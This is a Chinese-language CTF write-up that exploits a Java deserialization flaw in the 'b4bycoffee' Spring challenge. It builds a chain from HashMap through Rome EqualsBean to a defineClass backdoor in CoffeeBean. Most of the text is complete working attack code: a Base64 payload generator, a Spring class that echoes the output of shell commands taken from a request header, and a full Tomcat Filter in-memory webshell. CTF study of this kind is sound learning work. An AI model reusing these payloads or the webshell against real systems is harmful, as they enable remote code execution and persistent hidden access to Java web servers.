目录
前言
环境准备
简单分析
EXP(两种打法)
生成Payload
恶意类
①Spring命令执行回显类
②Filter型内存马
前言
本地jar包运行打通了,远程500,nss靶机有问题,换了bugku就可(
主要记录下做题过程,纯菜狗,小白文
环境准备
这次附件给的jar包是可执行jar,不是可依赖jar,不能直接add as lib导入项目
需要进行如下的处理
先是对jar包进行解压
用jadx-gui打开
简单分析
先来看pom
比较刺眼的是Rome依赖,还有spring可能会用于写内存马
接着注意到/b4by/coffee路由,此处便是反序列化入口
AntObjectInputStream
是自定义的对象输入流类,写了一些关键类的黑名单
可以看到ban了ObjectBean,ToStringBean这些Rome链的sink点,TemplatesImpl这种实例化关键类,以及BadAttributeValueExpException这条CC5里触发ToString方法的类
好在EqualsBean还是在的,依然可以配合HashMap来触发ToString
此外AntObjectInputStream
还重写了resolveClass,就是配合黑名单用的
现在问题是加载恶意类的ToStringBean&TemplatesImpl被ban了,空留toString何用?
“当上帝为你关闭了一扇门,就一定会为你打开一扇窗。”
我们看到coffeeBean类重写了toString方法,存在着能加载字节码的后门defineClass(用于将字节数组表示的类定义转换为 Class 对象),并对其进行实例化。
那这不就易如反掌易如反掌了吗(
手搓链子(不会tabby,锐意学习中)
java.util.HashMap#readObject
java.util.HashMap#hash
com.rometools.rome.feed.impl.EqualsBean#hashCode
com.rometools.rome.feed.impl.EqualsBean#beanHashCode
com.example.b4bycoffee.model.CoffeeBean#toString
EXP(两种打法)
记得pom里再导一个javassist依赖
<dependency>
<groupId>org.javassist</groupId>
<artifactId>javassist</artifactId>
<version>3.29.2-GA</version>
</dependency>
生成Payload
GenPayload.java
package com.example.b4bycoffee.exp;
import com.example.b4bycoffee.model.CoffeeBean;
import com.rometools.rome.feed.impl.EqualsBean;
import javassist.ClassPool;
import java.io.ByteArrayOutputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.Base64;
import java.util.HashMap;
public class GenPayload {
public static void setFieldValue(Object obj, String fieldName, Object newValue) throws Exception {
Class clazz = obj.getClass();
Field field = clazz.getDeclaredField(fieldName);
field.setAccessible(true);
field.set(obj, newValue);
}
public static String getPayLoad() throws Exception {
byte[] code = ClassPool.getDefault().get(你的恶意类.class.getName()).toBytecode();
CoffeeBean coffeeBean = new CoffeeBean();
setFieldValue(coffeeBean, "ClassByte", code);
EqualsBean equalsBean = new EqualsBean(String.class, "test");
HashMap map = new HashMap();
map.put(equalsBean, "xxx");
setFieldValue(equalsBean, "obj", coffeeBean);
setFieldValue(equalsBean, "beanClass", CoffeeBean.class);
ByteArrayOutputStream baos = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(baos);
oos.writeObject(map);
oos.close();
String payload = new String(Base64.getEncoder().encode(baos.toByteArray()));
System.out.println(payload);
return payload;
}
public static void main(String[] args) throws Exception {
getPayLoad();
}
}
恶意类
①Spring命令执行回显类
SpringEcho.java
不出网没法反弹shell,内存马也没写起来,我怎么不去死一死QWQ
命令执行用下面SpringEcho类来回显
(参考链接:java回显学习 | 现科信息安全协会)
package com.example.b4bycoffee.exp;
import java.lang.reflect.Method;
import java.util.Scanner;
public class SpringEcho {
static {
try {
Class c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c = Thread.currentThread().getContextClassLoader().loadClass("org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getResponse");
Method m1 = c.getMethod("getRequest");
Object resp = m.invoke(o);
Object req = m1.invoke(o); // HttpServletRequest
Method getWriter = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.ServletResponse").getDeclaredMethod("getWriter");
Method getHeader = Thread.currentThread().getContextClassLoader().loadClass("javax.servlet.http.HttpServletRequest").getDeclaredMethod("getHeader",String.class);
getHeader.setAccessible(true);
getWriter.setAccessible(true);
Object writer = getWriter.invoke(resp);
String cmd = (String)getHeader.invoke(req, "cmd");
String[] commands = new String[3];
if (System.getProperty("os.name").toUpperCase().contains("WIN")) {
commands[0] = "cmd";
commands[1] = "/c";
} else {
commands[0] = "/bin/sh";
commands[1] = "-c";
}
commands[2] = cmd;
writer.getClass().getDeclaredMethod("println", String.class).invoke(writer, new Scanner(Runtime.getRuntime().exec(commands).getInputStream()).useDelimiter("\\A").next());
writer.getClass().getDeclaredMethod("flush").invoke(writer);
writer.getClass().getDeclaredMethod("close").invoke(writer);
} catch (Exception e) {
}
}
}
header注入cmd即可
②Filter型内存马
package com.example.b4bycoffee.exp;
import org.apache.catalina.LifecycleState;
import org.apache.catalina.core.StandardContext;
import org.springframework.context.ApplicationContext;
import javax.servlet.*;
import java.io.IOException;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
public class TomcatInject implements Filter {
private static final String filterUrlPattern = "/*";
private static final String filterName = "Z3r4y";
static {
try {
ServletContext servletContext = getServletContext();
if (servletContext != null) {
Field ctx = servletContext.getClass().getDeclaredField("context");
ctx.setAccessible(true);
ApplicationContext appctx = (ApplicationContext) ctx.get(servletContext);
Field stdctx = appctx.getClass().getDeclaredField("context");
stdctx.setAccessible(true);
StandardContext standardContext = (StandardContext) stdctx.get(appctx);
if (standardContext != null) {
// 这样设置不会抛出报错
Field stateField =
org.apache.catalina.util.LifecycleBase.class.getDeclaredField(
"state");
stateField.setAccessible(true);
stateField.set(standardContext, LifecycleState.STARTING_PREP);
Filter myFilter = new TomcatInject();
// 调用 doFilter 来动态添加我们的 Filter
// 这里也可以利用反射来添加我们的 Filter
javax.servlet.FilterRegistration.Dynamic filterRegistration =
servletContext.addFilter(filterName, myFilter);
// 进行一些简单的设置
filterRegistration.setInitParameter("encoding", "utf-8");
filterRegistration.setAsyncSupported(false);
// 设置基本的 url pattern
filterRegistration.addMappingForUrlPatterns(
java.util.EnumSet.of(javax.servlet.DispatcherType.REQUEST),
false,
new String[] {"/*"});
// 将服务重新修改回来,不然的话服务会无法正常进行
if (stateField != null) {
stateField.set(
standardContext, org.apache.catalina.LifecycleState.STARTED);
}
// 在设置之后我们需要 调用 filterstart
if (standardContext != null) {
// 设置filter之后调用 filterstart 来启动我们的 filter
Method filterStartMethod =
StandardContext.class.getDeclaredMethod("filterStart");
filterStartMethod.setAccessible(true);
filterStartMethod.invoke(standardContext, null);
/** 将我们的 filtermap 插入到最前面 */
Class ccc = null;
try {
ccc =
Class.forName(
"org.apache.tomcat.util.descriptor.web.FilterMap");
} catch (Throwable t) {
}
if (ccc == null) {
try {
ccc = Class.forName("org.apache.catalina.deploy.FilterMap");
} catch (Throwable t) {
}
}
// 把filter插到第一位
Method m =
Class.forName("org.apache.catalina.core.StandardContext")
.getDeclaredMethod("findFilterMaps");
Object[] filterMaps = (Object[]) m.invoke(standardContext);
Object[] tmpFilterMaps = new Object[filterMaps.length];
int index = 1;
for (int i = 0; i < filterMaps.length; i++) {
Object o = filterMaps[i];
m = ccc.getMethod("getFilterName");
String name = (String) m.invoke(o);
if (name.equalsIgnoreCase(filterName)) {
tmpFilterMaps[0] = o;
} else {
tmpFilterMaps[index++] = filterMaps[i];
}
}
for (int i = 0; i < filterMaps.length; i++) {
filterMaps[i] = tmpFilterMaps[i];
}
}
}
}
} catch (Exception e) {
e.printStackTrace();
}
}
// webshell命令参数名
private final String cmdParamName = "cmd";
private static ServletContext getServletContext()
throws NoSuchFieldException, IllegalAccessException, ClassNotFoundException {
ServletRequest servletRequest = null;
// shell注入,前提需要能拿到request、response等
Class c = Class.forName("org.apache.catalina.core.ApplicationFilterChain");
java.lang.reflect.Field f = c.getDeclaredField("lastServicedRequest");
f.setAccessible(true);
ThreadLocal threadLocal = (ThreadLocal) f.get(null);
// 不为空则意味着第一次反序列化的准备工作已成功
if (threadLocal != null && threadLocal.get() != null) {
servletRequest = (ServletRequest) threadLocal.get();
}
// 如果不能去到request,则换一种方式尝试获取
// spring获取法1
if (servletRequest == null) {
try {
c =
Class.forName(
"org.springframework.web.context.request.RequestContextHolder");
Method m = c.getMethod("getRequestAttributes");
Object o = m.invoke(null);
c =
Class.forName(
"org.springframework.web.context.request.ServletRequestAttributes");
m = c.getMethod("getRequest");
servletRequest = (ServletRequest) m.invoke(o);
} catch (Throwable t) {
}
}
if (servletRequest != null) return servletRequest.getServletContext();
// spring获取法2
try {
c = Class.forName("org.springframework.web.context.ContextLoader");
Method m = c.getMethod("getCurrentWebApplicationContext");
Object o = m.invoke(null);
c = Class.forName("org.springframework.web.context.WebApplicationContext");
m = c.getMethod("getServletContext");
ServletContext servletContext = (ServletContext) m.invoke(o);
return servletContext;
} catch (Throwable t) {
}
return null;
}
@Override
public void init(FilterConfig filterConfig) throws ServletException {}
@Override
public void doFilter(
ServletRequest servletRequest,
ServletResponse servletResponse,
FilterChain filterChain)
throws IOException, ServletException {
System.out.println(
"TomcatShellInject doFilter.....................................................................");
String cmd;
if ((cmd = servletRequest.getParameter(cmdParamName)) != null) {
Process process = Runtime.getRuntime().exec(cmd);
java.io.BufferedReader bufferedReader =
new java.io.BufferedReader(
new java.io.InputStreamReader(process.getInputStream()));
StringBuilder stringBuilder = new StringBuilder();
String line;
while ((line = bufferedReader.readLine()) != null) {
stringBuilder.append(line + '\n');
}
servletResponse.getOutputStream().write(stringBuilder.toString().getBytes());
servletResponse.getOutputStream().flush();
servletResponse.getOutputStream().close();
return;
}
filterChain.doFilter(servletRequest, servletResponse);
}
@Override
public void destroy() {}
}